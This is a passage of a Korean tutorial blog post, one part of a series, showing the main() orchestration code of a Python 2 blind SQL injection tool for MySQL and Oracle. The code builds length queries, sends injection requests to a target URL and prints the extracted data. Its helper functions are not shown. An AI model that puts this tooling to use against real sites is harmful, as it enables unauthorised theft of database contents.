▣ 구현(MySQL, Oracle 공통)
1) Function
➀ Lenth()함수 추가 & Rownum 혹은 Limit추가 후 반환
➁ 데이터 길이 조회 쿼리 반환
➂ 데이터 길이 조회 요청
➃ 데이터 길이만큼 데이터 조회 요청
2) CODE
#################
# Main Function #
#################
def main() :
# Payload Dictionary Object
# Options객체에 접근하여 각 옵션값을 Dictionary타입 payload변수에 저장
payload = {'method':options.arg_method, 'flagStr':options.arg_flagStr, 'frontStr':options.arg_frontStr,
'sql':options.arg_sql, 'row':options.arg_row, 'dbms':options.arg_dbms, 'url':options.arg_url,
'fixedParam':param2dic(options.arg_fixedParam), 'payParam':options.arg_payParam,
'header':header2dic(options.arg_header)}
#################
# Init Variable #
#################
# dataLengthQuery : SELECT XXX FROM XXX -> return SELECT length(XXX) FROM XXX
dataLengthQuery = []
# dataLength : return DataLength List for Blind SQL Injection loop
dataLengthSet = []
# Attack QuerySet : return Blind SQL Injection Query SET
querySet = []
# Attack Result : Stored Blind SQL Injection Attack Result SET
blindSqlResult = []
# DBMS별 함수 실행
# 1. Length()함수 & Rownum 혹은 Limit추가 후 반환
# 2. 데이터 길이 조회 쿼리 반환
# 3. 데이터 길이 조회 요청
# 4. 데이터 길이만큼 데이터 조회 요청
if payload['dbms'].lower() == 'mysql' :
dataLengthQuery = getDataLengthQuery_mysql(payload)
dataLengthSet = getDataLength(payload, dataLengthQuery)
querySet = getQuery_mysql(payload, dataLengthSet)
blindSqlResult = blindSqlInjection(payload, dataLengthSet, querySet)
elif payload['dbms'].lower() == 'oracle' :
dataLengthQuery = getDataLengthQuery_oracle(payload)
dataLengthSet = getDataLength(payload, dataLengthQuery)
querySet = getQuery_oracle(payload, dataLengthSet)
blindSqlResult = blindSqlInjection(payload, dataLengthSet, querySet)
else :
print "Do not support this DBMS."
# Print Injection Result
print '\n[+] Blind SQL Injection Result'
# PrettyTable라이브러리를 이용하여 출력
print printResult(payload, dataLengthSet, blindSqlResult)
if __name__ == '__main__' :
main()
3) ScreenShot(Console)
'Python > Tools' 카테고리의 다른 글
| [Python-Tools] Blind SQL Injection Tool - 7 (CX-Freeze) (0) | 2014.12.23 |
|---|---|
| [Python-Tools] Blind SQL Injection Tool - 5 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 4 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 3 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 2 (구현) (0) | 2014.12.23 |